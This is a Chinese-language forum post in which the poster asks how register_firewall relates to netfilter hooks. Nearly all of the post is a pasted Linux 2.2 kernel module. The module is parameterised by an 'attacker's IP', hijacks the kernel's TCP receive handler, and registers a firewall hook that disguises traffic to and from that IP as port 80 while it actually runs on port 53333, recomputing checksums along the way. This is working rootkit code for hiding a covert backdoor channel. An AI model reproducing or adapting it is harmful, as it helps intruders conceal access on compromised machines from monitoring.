- 论坛徽章:
- 0
|
找到了一段类似代码,但对 register_firewall( PF_INET, &my_fw_ops )不是太了解,这个内核函数与netfilter hook有什么关联吗??好像是新加的吧????
/*
* Compile:
* gcc -O2 -c test.c -I/usr/src/linux/include -fomit-frame-pointer
* by: Jingyu Zhou and Lin Qiao
*
* Usage:
* insmod test.o ip=128.111.48.44
* here ip is the attacker's IP and must be in numeric format
*/
#define MODULE
#define __KERNEL__
#include <linux/config.h>
#include <linux/module.h>
#include <linux/version.h>
#include <linux/skbuff.h>
#include <net/protocol.h>
#include <linux/netdevice.h>
#include <net/pkt_sched.h>
#include <net/tcp.h>
#include <net/ip.h>
#include <linux/if_ether.h>
#include <linux/ip.h>
#include <linux/tcp.h>
#include <linux/icmp.h>
#include <linux/firewall.h>
#include <linux/kernel.h>
#include <linux/mm.h>
#include <linux/file.h>
#include <asm/uaccess.h>
/* Define here if you want to swap ports also */
#define REALPORT 53333 /* port you which to communicate */
#define FAKEPORT 80 /* port that appears on the wire */
int my_tcp_v4_rcv(struct sk_buff *skb, unsigned short len);
__u32 in_aton(const char *);
int my_default_firewall(struct firewall_ops *this, int pf,
struct device *dev, void *phdr, void *arg, struct sk_buff **skb);
int my_call_out_firewall(struct firewall_ops *this, int pf,
struct device *dev, void *phdr, void *arg, struct sk_buff **skb);
unsigned long int magic_ip;
char *ip;
MODULE_PARM(ip, "s");
struct inet_protocol *original_tcp_protocol;
struct inet_protocol my_tcp_protocol =
{
&my_tcp_v4_rcv,
NULL,
NULL,
IPPROTO_TCP,
0,
NULL,
"TCP"
};
/*
* <linux/firewall.h>
*
* 18 struct firewall_ops
* 19 {
* 20 struct firewall_ops *next;
* 21 int (*fw_forward)(struct firewall_ops *this, int pf,
* 22 struct device *dev, void *phdr, void *arg, struct sk_buff **pskb);
* 23 int (*fw_input)(struct firewall_ops *this, int pf,
* 24 struct device *dev, void *phdr, void *arg, struct sk_buff **pskb);
* 25 int (*fw_output)(struct firewall_ops *this, int pf,
* 26 struct device *dev, void *phdr, void *arg, struct sk_buff **pskb);
* 27 / * Data falling in the second 486 cache line isn't used directly
* 28 during a firewall call and scan, only by insert/delete and other
* 29 unusual cases
* 30 * /
* 31 int fw_pf; / * Protocol family * /
* 32 int fw_priority; / * Priority of chosen firewalls * /
* 33 };
*/
struct firewall_ops my_fw_ops=
{
NULL,
&my_default_firewall,
&my_default_firewall,
&my_call_out_firewall,
PF_INET,
5 /* We are a little bit larger than default firewall which is 0 */
};
int my_default_firewall(
struct firewall_ops *this,
int pf,
struct device *dev,
void *phdr,
void *arg,
struct sk_buff **skb)
{
return FW_SKIP;
}
/*
* When sending a packet out, if the destination address == magic_ip
* and source tcp port == real port, change source port to fake port
* and re-compute the checksum.
*/
int my_call_out_firewall(
struct firewall_ops *this,
int pf,
struct device *dev,
void *phdr,
void *arg,
struct sk_buff **skb)
{
struct sk_buff *sk = *skb;
struct iphdr *iph = (struct iphdr *) phdr;
struct tcphdr *th = (struct tcphdr *)((__u32 *)iph+iph->ihl);
unsigned short size;
int doff = 0;
int csum = 0;
int offset;
if ( iph->daddr == magic_ip &&
iph->protocol == IPPROTO_TCP &&
th->source == htons(REALPORT) ) {
th->source = htons(FAKEPORT);
size = ntohs(iph->tot_len) - (iph->ihl * 4);
doff = th->doff << 2;
sk->csum = 0;
csum = csum_partial( sk->h.raw + doff, size - doff, 0 );
sk->csum = csum;
th->check = 0;
th->check = csum_tcpudp_magic(
iph->saddr,
iph->daddr,
size,
iph->protocol,
csum_partial(sk->h.raw, doff, sk->csum)
);
}
return FW_SKIP;
}
/*
* When receving a packet here, if the source IP == magic_ip and
* destination port == fake port, change the destination port to
* real port and re-compute the checksum.
* Call the original routine.
*/
int my_tcp_v4_rcv(struct sk_buff *skb, unsigned short len)
{
struct tcphdr *th;
struct iphdr *iph;
unsigned short size;
int doff = 0;
int csum = 0;
int offset;
if ( skb->nh.iph->saddr == magic_ip &&
skb->h.th->dest == htons(FAKEPORT) ) {
skb->h.th->dest = htons(REALPORT);
th = skb->h.th;
iph = skb->nh.iph;
size = ntohs(iph->tot_len) - (iph->ihl * 4);
doff = th->doff << 2;
skb->csum = 0;
csum = csum_partial( skb->h.raw + doff, size - doff, 0 );
skb->csum = csum;
th->check = 0;
th->check = csum_tcpudp_magic(
iph->saddr,
iph->daddr,
size,
iph->protocol,
csum_partial(skb->h.raw, doff, skb->csum)
);
}
out:
return (original_tcp_protocol->handler) ( skb, len );
}
/*
* Convert an ASCII string to binary IP.
*/
__u32 in_aton(const char *str) {
unsigned long l;
unsigned int val;
int i;
l = 0;
for (i = 0; i < 4; i++) {
l <<= 8;
if (*str != '\0') {
val = 0;
while (*str != '\0' && *str != '.') {
val *= 10;
val += *str - '0';
str++;
}
l |= val;
if (*str != '\0')
str++;
}
}
return (htonl(l));
}
int init_module() {
if(!ip) {
printk("Error: missing end-host ip.\n");
printk("Usage: insmod test.o ip=x.x.x.x\n\n");
return -ENXIO;
}
magic_ip = in_aton(ip);
/* replace the original tcp protocol */
inet_add_protocol(&my_tcp_protocol);
original_tcp_protocol = my_tcp_protocol.next;
inet_del_protocol(original_tcp_protocol);
/* insert our firewall routines here */
if ( register_firewall( PF_INET, &my_fw_ops ) < 0 ) {
printk("panic: can't load my firewall!\n");
}
printk("test loaded\n");
return 0;
}
void cleanup_module() {
/* remove our tcp routine, insert the original one */
inet_add_protocol(original_tcp_protocol);
inet_del_protocol(&my_tcp_protocol);
/* remove our firewall routine */
unregister_firewall( PF_INET, &my_fw_ops );
printk("test unloaded\n");
} |
|